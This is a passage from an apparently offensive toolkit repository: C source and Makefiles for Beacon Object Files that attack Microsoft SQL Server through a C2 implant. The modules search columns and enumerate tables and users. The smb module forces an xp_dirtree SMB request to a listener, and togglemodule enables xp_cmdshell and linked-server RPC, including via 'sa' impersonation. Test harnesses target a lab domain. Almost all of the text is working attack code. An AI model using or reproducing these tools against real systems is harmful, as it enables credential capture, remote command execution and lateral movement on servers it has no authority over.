linked RPC query funkiness, idk what to do so lets get the table schema 104 | // 105 | if (!GetTableShema(stmt, link, database, table)){ 106 | internal_printf("[!] Failed to get table schema for %s\n", table); 107 | goto END; 108 | } 109 | 110 | schema = GetSingleResult(stmt, FALSE); 111 | internal_printf("[*] Table schema for %s is: %s\n\n", table, schema); 112 | 113 | // 114 | // Close the cursor 115 | // 116 | ret = ODBC32$SQLCloseCursor(stmt); 117 | if (!SQL_SUCCEEDED(ret)) 118 | { 119 | internal_printf("[!] Error closing cursor\n"); 120 | goto END; 121 | } 122 | 123 | // 124 | // Prep statement for linked RPC query 125 | // tableprefix + database + sep + schema + sep + table + suffix 126 | // 127 | size_t totalSize = MSVCRT$strlen(tablePrefix) + MSVCRT$strlen(database) + MSVCRT$strlen(sep) + MSVCRT$strlen(schema) + MSVCRT$strlen(sep) + MSVCRT$strlen(table) + MSVCRT$strlen(tableSuffix) + 1; 128 | query = (char*)intAlloc(totalSize * sizeof(char)); 129 | 130 | MSVCRT$strcpy(query, tablePrefix); 131 | MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1); 132 | MSVCRT$strncat(query, sep, totalSize - MSVCRT$strlen(query) - 1); 133 | MSVCRT$strncat(query, schema, totalSize - MSVCRT$strlen(query) - 1); 134 | MSVCRT$strncat(query, sep, totalSize - MSVCRT$strlen(query) - 1); 135 | MSVCRT$strncat(query, table, totalSize - MSVCRT$strlen(query) - 1); 136 | 137 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)){ 138 | goto END; 139 | } 140 | 141 | PrintQueryResults(stmt, TRUE); 142 | } 143 | 144 | END: 145 | if (useStmt != NULL) intFree(useStmt); 146 | if (query != NULL) intFree(query); 147 | if (schema != NULL) intFree(schema); 148 | ODBC32$SQLCloseCursor(stmt); 149 | DisconnectSqlServer(env, dbc, stmt); 150 | } 151 | 152 | 153 | #ifdef BOF 154 | VOID go( 155 | IN PCHAR Buffer, 156 | IN ULONG Length 157 | ) 158 | { 159 | char* server; 160 | char* database; 161 | char* table; 162 | char* link; 163 | char* impersonate; 164 | 165 | // 166 | // parse beacon args 167 | // 168 | datap parser; 169 | BeaconDataParse(&parser, Buffer, Length); 170 | 171 | server = BeaconDataExtract(&parser, NULL); 172 | database = BeaconDataExtract(&parser, NULL); 173 | table = BeaconDataExtract(&parser, NULL); 174 | link = BeaconDataExtract(&parser, NULL); 175 | impersonate = BeaconDataExtract(&parser, NULL); 176 | 177 | 178 | server = *server == 0 ? "localhost" : server; 179 | database = *database == 0 ? "master" : database; 180 | table = *table == 0 ? NULL : table; 181 | link = *link == 0 ? NULL : link; 182 | impersonate = *impersonate == 0 ? NULL : impersonate; 183 | 184 | if(!bofstart()) 185 | { 186 | return; 187 | } 188 | 189 | if (table == NULL) 190 | { 191 | internal_printf("[!] Table argument is required\n"); 192 | printoutput(TRUE); 193 | return; 194 | } 195 | 196 | if (UsingLinkAndImpersonate(link, impersonate)) 197 | { 198 | return; 199 | } 200 | 201 | CheckTableRows(server, database, link, impersonate, table); 202 | 203 | printoutput(TRUE); 204 | }; 205 | 206 | #else 207 | 208 | int main() 209 | { 210 | internal_printf("============ BASE TEST ============\n\n"); 211 | CheckTableRows("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "spt_monitor"); 212 | 213 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 214 | CheckTableRows("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "spt_monitor"); 215 | 216 | internal_printf("\n\n============ LINK TEST ============\n\n"); 217 | CheckTableRows("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "spt_monitor"); 218 | } 219 | 220 | #endif 221 | -------------------------------------------------------------------------------- /src/SQL/search/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := search 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/search/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | 6 | 7 | void Search(char* server, char* database, char* link, char* impersonate, char* keyword) 8 | { 9 | SQLHENV env = NULL; 10 | SQLHSTMT stmt = NULL; 11 | SQLHDBC dbc = NULL; 12 | char* query = NULL; 13 | SQLRETURN ret; 14 | 15 | 16 | if (link == NULL) 17 | { 18 | dbc = ConnectToSqlServer(&env, server, database); 19 | } 20 | else 21 | { 22 | dbc = ConnectToSqlServer(&env, server, NULL); 23 | } 24 | 25 | if (dbc == NULL) { 26 | goto END; 27 | } 28 | 29 | if (link == NULL) 30 | { 31 | internal_printf("[*] Searching for columns containing \"%s\" in %s on %s\n\n", keyword, database, server); 32 | } 33 | else 34 | { 35 | internal_printf("[*] Searching for columns containing \"%s\" in %s on %s via %s\n\n", keyword, database, link, server); 36 | } 37 | 38 | 39 | // 40 | // allocate statement handle 41 | // 42 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 43 | if (!SQL_SUCCEEDED(ret)) 44 | { 45 | internal_printf("[!] Error allocating statement handle\n"); 46 | goto END; 47 | } 48 | 49 | // 50 | // Construct query 51 | // 52 | char* prefix = "SELECT table_name, column_name FROM "; 53 | char* middle = ".information_schema.columns WHERE column_name LIKE '%"; 54 | char* suffix = "%';"; 55 | 56 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(database) + MSVCRT$strlen(middle) + MSVCRT$strlen(keyword) + MSVCRT$strlen(suffix) + 1; 57 | query = (char*)intAlloc(totalSize * sizeof(char)); 58 | 59 | MSVCRT$strcpy(query, prefix); 60 | MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1); 61 | MSVCRT$strncat(query, middle, totalSize - MSVCRT$strlen(query) - 1); 62 | MSVCRT$strncat(query, keyword, totalSize - MSVCRT$strlen(query) - 1); 63 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 64 | 65 | // 66 | // Run the query 67 | // 68 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)){ 69 | goto END; 70 | } 71 | 72 | PrintQueryResults(stmt, TRUE); 73 | 74 | END: 75 | if (query != NULL) intFree(query); 76 | ODBC32$SQLCloseCursor(stmt); 77 | DisconnectSqlServer(env, dbc, stmt); 78 | } 79 | 80 | 81 | #ifdef BOF 82 | VOID go( 83 | IN PCHAR Buffer, 84 | IN ULONG Length 85 | ) 86 | { 87 | char* server; 88 | char* database; 89 | char* link; 90 | char* impersonate; 91 | char* keyword; 92 | 93 | // 94 | // parse beacon args 95 | // 96 | datap parser; 97 | BeaconDataParse(&parser, Buffer, Length); 98 | 99 | server = BeaconDataExtract(&parser, NULL); 100 | database = BeaconDataExtract(&parser, NULL); 101 | link = BeaconDataExtract(&parser, NULL); 102 | impersonate = BeaconDataExtract(&parser, NULL); 103 | keyword = BeaconDataExtract(&parser, NULL); 104 | 105 | server = *server == 0 ? "localhost" : server; 106 | database = *database == 0 ? "master" : database; 107 | link = *link == 0 ? NULL : link; 108 | impersonate = *impersonate == 0 ? NULL : impersonate; 109 | 110 | if(!bofstart()) 111 | { 112 | return; 113 | } 114 | 115 | if (UsingLinkAndImpersonate(link, impersonate)) 116 | { 117 | return; 118 | } 119 | 120 | Search(server, database, link, impersonate, keyword); 121 | 122 | printoutput(TRUE); 123 | }; 124 | 125 | #else 126 | 127 | int main() 128 | { 129 | internal_printf("============ BASE TEST ============\n\n"); 130 | Search("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "idle"); 131 | 132 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 133 | Search("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "idle"); 134 | 135 | internal_printf("\n\n============ LINK TEST ============\n\n"); 136 | Search("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "idle"); 137 | } 138 | 139 | #endif 140 | -------------------------------------------------------------------------------- /src/SQL/smb/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := smb 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/smb/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | 6 | 7 | void CoerceSmb(char* server, char* database, char* link, char* impersonate, char* listener) 8 | { 9 | SQLHENV env = NULL; 10 | SQLHSTMT stmt = NULL; 11 | SQLHDBC dbc = NULL; 12 | char * query = NULL; 13 | SQLRETURN ret; 14 | size_t totalSize; 15 | 16 | 17 | if (link == NULL) 18 | { 19 | dbc = ConnectToSqlServer(&env, server, database); 20 | } 21 | else 22 | { 23 | dbc = ConnectToSqlServer(&env, server, NULL); 24 | } 25 | 26 | if (dbc == NULL) { 27 | goto END; 28 | } 29 | 30 | // 31 | // allocate statement handle 32 | // 33 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 34 | if (!SQL_SUCCEEDED(ret)) 35 | { 36 | internal_printf("[!] Error allocating statement handle\n"); 37 | goto END; 38 | } 39 | 40 | char* linkPrefix = "SELECT 1; "; 41 | char* prefix = "EXEC master..xp_dirtree '"; 42 | char* suffix = "';"; 43 | 44 | if (link == NULL) 45 | { 46 | internal_printf("[*] Triggering SMB request to %s on %s\n\n", listener, server); 47 | totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(listener) + MSVCRT$strlen(suffix) + 1; 48 | query = (char*)intAlloc(totalSize * sizeof(char)); 49 | MSVCRT$strcpy(query, prefix); 50 | } 51 | else 52 | { 53 | internal_printf("[*] Triggering SMB request to %s on %s via %s\n\n", listener, link, server); 54 | totalSize = MSVCRT$strlen(linkPrefix) + MSVCRT$strlen(prefix) + MSVCRT$strlen(listener) + MSVCRT$strlen(suffix) + 1; 55 | query = (char*)intAlloc(totalSize * sizeof(char)); 56 | MSVCRT$strcpy(query, linkPrefix); 57 | MSVCRT$strncat(query, prefix, totalSize - MSVCRT$strlen(linkPrefix) - 1); 58 | } 59 | 60 | MSVCRT$strncat(query, listener, totalSize - MSVCRT$strlen(linkPrefix) - 1); 61 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(linkPrefix) - 1); 62 | 63 | // 64 | // Run the query 65 | // 66 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)){ 67 | goto END; 68 | } 69 | 70 | internal_printf("[*] SMB request triggered\n"); 71 | 72 | END: 73 | if (query != NULL) intFree(query); 74 | ODBC32$SQLCloseCursor(stmt); 75 | DisconnectSqlServer(env, dbc, stmt); 76 | } 77 | 78 | 79 | #ifdef BOF 80 | VOID go( 81 | IN PCHAR Buffer, 82 | IN ULONG Length 83 | ) 84 | { 85 | char* server; 86 | char* database; 87 | char* link; 88 | char* impersonate; 89 | char* listener; 90 | 91 | // 92 | // parse beacon args 93 | // 94 | datap parser; 95 | BeaconDataParse(&parser, Buffer, Length); 96 | 97 | server = BeaconDataExtract(&parser, NULL); 98 | database = BeaconDataExtract(&parser, NULL); 99 | link = BeaconDataExtract(&parser, NULL); 100 | impersonate = BeaconDataExtract(&parser, NULL); 101 | listener = BeaconDataExtract(&parser, NULL); 102 | 103 | server = *server == 0 ? "localhost" : server; 104 | database = *database == 0 ? "master" : database; 105 | link = *link == 0 ? NULL : link; 106 | impersonate = *impersonate == 0 ? NULL : impersonate; 107 | 108 | if(!bofstart()) 109 | { 110 | return; 111 | } 112 | 113 | if (UsingLinkAndImpersonate(link, impersonate)) 114 | { 115 | return; 116 | } 117 | 118 | CoerceSmb(server, database, link, impersonate, listener); 119 | 120 | printoutput(TRUE); 121 | }; 122 | 123 | #else 124 | 125 | int main() 126 | { 127 | internal_printf("============ BASE TEST ============\n\n"); 128 | CoerceSmb("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "\\\\10.2.99.1"); 129 | 130 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 131 | CoerceSmb("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "\\\\10.2.99.1"); 132 | 133 | internal_printf("\n\n============ LINK TEST ============\n\n"); 134 | CoerceSmb("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "\\\\10.2.99.1"); 135 | } 136 | 137 | #endif 138 | -------------------------------------------------------------------------------- /src/SQL/tables/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := tables 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/tables/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | 6 | 7 | void CheckTables(char* server, char* database, char* link, char* impersonate) 8 | { 9 | SQLHENV env = NULL; 10 | SQLHSTMT stmt = NULL; 11 | SQLHDBC dbc = NULL; 12 | char* query = NULL; 13 | SQLRETURN ret; 14 | 15 | if (link == NULL) 16 | { 17 | dbc = ConnectToSqlServer(&env, server, database); 18 | } 19 | else 20 | { 21 | dbc = ConnectToSqlServer(&env, server, NULL); 22 | } 23 | 24 | 25 | if (dbc == NULL) { 26 | goto END; 27 | } 28 | 29 | if (link == NULL) 30 | { 31 | internal_printf("[*] Enumerating tables in the %s database on %s\n\n", database, server); 32 | } 33 | else 34 | { 35 | internal_printf("[*] Enumerating tables in the %s database on %s via %s\n\n", database, link, server); 36 | } 37 | 38 | 39 | // 40 | // allocate statement handle 41 | // 42 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 43 | if (!SQL_SUCCEEDED(ret)) 44 | { 45 | internal_printf("[!] Error allocating statement handle\n"); 46 | goto END; 47 | } 48 | 49 | // 50 | // Construct query 51 | // 52 | char* prefix = "SELECT * FROM "; 53 | char* suffix = ".INFORMATION_SCHEMA.TABLES;"; 54 | 55 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(database) + MSVCRT$strlen(suffix) + 1; 56 | query = (char*)intAlloc(totalSize * sizeof(char)); 57 | 58 | MSVCRT$strcpy(query, prefix); 59 | MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1); 60 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 61 | 62 | // 63 | // Run the query 64 | // 65 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 66 | goto END; 67 | } 68 | 69 | PrintQueryResults(stmt, TRUE); 70 | 71 | END: 72 | if (query != NULL) intFree(query); 73 | ODBC32$SQLCloseCursor(stmt); 74 | DisconnectSqlServer(env, dbc, stmt); 75 | } 76 | 77 | 78 | #ifdef BOF 79 | VOID go( 80 | IN PCHAR Buffer, 81 | IN ULONG Length 82 | ) 83 | { 84 | char* server; 85 | char* database; 86 | char* link; 87 | char* impersonate; 88 | 89 | // 90 | // parse beacon args 91 | // 92 | datap parser; 93 | BeaconDataParse(&parser, Buffer, Length); 94 | 95 | server = BeaconDataExtract(&parser, NULL); 96 | database = BeaconDataExtract(&parser, NULL); 97 | link = BeaconDataExtract(&parser, NULL); 98 | impersonate = BeaconDataExtract(&parser, NULL); 99 | 100 | server = *server == 0 ? "localhost" : server; 101 | database = *database == 0 ? "master" : database; 102 | link = *link == 0 ? NULL : link; 103 | impersonate = *impersonate == 0 ? NULL : impersonate; 104 | 105 | if(!bofstart()) 106 | { 107 | return; 108 | } 109 | 110 | if (UsingLinkAndImpersonate(link, impersonate)) 111 | { 112 | return; 113 | } 114 | 115 | CheckTables(server, database, link, impersonate); 116 | 117 | printoutput(TRUE); 118 | }; 119 | 120 | #else 121 | 122 | int main() 123 | { 124 | internal_printf("============ BASE TEST ============\n\n"); 125 | CheckTables("castelblack.north.sevenkingdoms.local", "master", NULL, NULL); 126 | 127 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 128 | CheckTables("castelblack.north.sevenkingdoms.local", "master", NULL, "sa"); 129 | 130 | internal_printf("\n\n============ LINK TEST ============\n\n"); 131 | CheckTables("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL); 132 | } 133 | 134 | #endif 135 | -------------------------------------------------------------------------------- /src/SQL/togglemodule/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := togglemodule 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/togglemodule/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | #include "sql_modules.c" 6 | 7 | 8 | // rpc requires different functions/values than the other modules 9 | void ToggleRpc(char* server, char* database, char* link, char* impersonate, char* value) 10 | { 11 | SQLHENV env = NULL; 12 | SQLHSTMT stmt = NULL; 13 | SQLHDBC dbc = NULL; 14 | 15 | dbc = ConnectToSqlServer(&env, server, database); 16 | 17 | if (dbc == NULL) { 18 | goto END; 19 | } 20 | 21 | internal_printf("[*] Toggling RPC on %s...\n\n", link); 22 | 23 | // 24 | // allocate statement handle 25 | // 26 | ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 27 | 28 | if (!ToggleModule(stmt, "rpc", value, link, impersonate)) 29 | { 30 | goto END; 31 | } 32 | 33 | // 34 | // Close the cursor 35 | // 36 | ODBC32$SQLCloseCursor(stmt); 37 | 38 | 39 | if (!CheckRpcOnLink(stmt, link, impersonate)) 40 | { 41 | goto END; 42 | } 43 | 44 | PrintQueryResults(stmt, TRUE); 45 | 46 | // 47 | // close the cursor 48 | // 49 | ODBC32$SQLCloseCursor(stmt); 50 | 51 | END: 52 | DisconnectSqlServer(env, dbc, stmt); 53 | } 54 | 55 | 56 | // non-rpc modules are treated the same 57 | void ToggleGenericModule(char* server, char* database, char* link, char* impersonate, char* module, char* value) 58 | { 59 | SQLHENV env = NULL; 60 | SQLHSTMT stmt = NULL; 61 | SQLHDBC dbc = NULL; 62 | 63 | dbc = ConnectToSqlServer(&env, server, database); 64 | 65 | if (dbc == NULL) { 66 | goto END; 67 | } 68 | 69 | // 70 | // allocate statement handle 71 | // 72 | ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 73 | 74 | if (link == NULL) 75 | { 76 | internal_printf("[*] Toggling %s on %s...\n\n", module, server); 77 | } 78 | else 79 | { 80 | internal_printf("[*] Toggling %s on %s via %s\n\n", module, link, server); 81 | } 82 | 83 | if (!ToggleModule(stmt, module, value, link, impersonate)) 84 | { 85 | goto END; 86 | } 87 | 88 | // 89 | // Close the cursor 90 | // 91 | ODBC32$SQLCloseCursor(stmt); 92 | 93 | // 94 | // Check new status and print 95 | // 96 | 97 | CheckModuleStatus(stmt, module, link, impersonate); 98 | 99 | PrintQueryResults(stmt, TRUE); 100 | 101 | END: 102 | ODBC32$SQLCloseCursor(stmt); 103 | DisconnectSqlServer(env, dbc, stmt); 104 | } 105 | 106 | 107 | #ifdef BOF 108 | VOID go( 109 | IN PCHAR Buffer, 110 | IN ULONG Length 111 | ) 112 | { 113 | char* server; 114 | char* database; 115 | char* link; 116 | char* impersonate; 117 | char* module; 118 | char* value; 119 | 120 | // 121 | // parse beacon args 122 | // 123 | datap parser; 124 | BeaconDataParse(&parser, Buffer, Length); 125 | 126 | server = BeaconDataExtract(&parser, NULL); 127 | database = BeaconDataExtract(&parser, NULL); 128 | link = BeaconDataExtract(&parser, NULL); 129 | impersonate = BeaconDataExtract(&parser, NULL); 130 | module = BeaconDataExtract(&parser, NULL); 131 | value = BeaconDataExtract(&parser, NULL); 132 | 133 | server = *server == 0 ? "localhost" : server; 134 | database = *database == 0 ? "master" : database; 135 | link = *link == 0 ? NULL : link; 136 | impersonate = *impersonate == 0 ? NULL : impersonate; 137 | 138 | if(!bofstart()) 139 | { 140 | return; 141 | } 142 | 143 | // we're toggling RPC 144 | if (MSVCRT$strcmp(module, "rpc") == 0) 145 | { 146 | if (link == NULL) 147 | { 148 | internal_printf("[!] A link must be specified\n"); 149 | printoutput(TRUE); 150 | return; 151 | } 152 | ToggleRpc(server, database, link, impersonate, value); 153 | } 154 | // we're toggling one of the other modules that we treat the same 155 | else 156 | { 157 | if (UsingLinkAndImpersonate(link, impersonate)) 158 | { 159 | return; 160 | } 161 | 162 | ToggleGenericModule(server, database, link, impersonate, module, value); 163 | } 164 | 165 | 166 | printoutput(TRUE); 167 | }; 168 | 169 | #else 170 | 171 | int main() 172 | { 173 | internal_printf("============ LINK RPC DISABLE TEST ============\n\n"); 174 | ToggleRpc("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "FALSE"); 175 | 176 | internal_printf("\n\n============ LINK RPC ENABLE TEST ============\n\n"); 177 | ToggleRpc("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "TRUE"); 178 | 179 | internal_printf("\n\n============ BASE XP_CMDSHELL DISABLE TEST ============\n\n"); 180 | ToggleGenericModule("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "xp_cmdshell", "0"); 181 | 182 | internal_printf("\n\n============ BASE XP_CMDSHELL ENABLE TEST ============\n\n"); 183 | ToggleGenericModule("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "xp_cmdshell", "1"); 184 | 185 | internal_printf("\n\n============ IMPERSONATE XP_CMDSHELL DISABLE TEST ============\n\n"); 186 | ToggleGenericModule("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "xp_cmdshell", "0"); 187 | 188 | internal_printf("\n\n============ IMPERSONATE XP_CMDSHELL ENABLE TEST ============\n\n"); 189 | ToggleGenericModule("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "xp_cmdshell", "1"); 190 | 191 | internal_printf("\n\n============ LINK XP_CMDSHELL DISABLE TEST ============\n\n"); 192 | ToggleGenericModule("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "xp_cmdshell", "0"); 193 | 194 | internal_printf("\n\n============ LINK XP_CMDSHELL ENABLE TEST ============\n\n"); 195 | ToggleGenericModule("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "xp_cmdshell", "1"); 196 | } 197 | 198 | #endif 199 | -------------------------------------------------------------------------------- /src/SQL/users/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := users 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/users/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | 6 | 7 | void CheckUsers(char* server, char* database, char* link, char* impersonate) 8 | { 9 | SQLHENV env = NULL; 10 | SQLHSTMT stmt = NULL; 11 | SQLHDBC dbc = NULL; 12 | char* query = NULL; 13 | SQLRETURN ret; 14 | 15 | if (link == NULL) 16 | { 17 | dbc = ConnectToSqlServer(&env, server, database); 18 | } 19 | else 20 | { 21 | dbc = ConnectToSqlServer(&env, server, NULL); 22 | } 23 | 24 | if (dbc == NULL) { 25 | goto END; 26 | } 27 | 28 | if (link == NULL) 29 | { 30 | internal_printf("[*] Enumerating users in the %s database on %s\n\n", database, server); 31 | } 32 | else 33 | { 34 | internal_printf("[*] Enumerating users in the %s database on %s via %s\n\n", database, link, server); 35 | } 36 | 37 | 38 | // 39 | // allocate statement handle 40 | // 41 | ret = 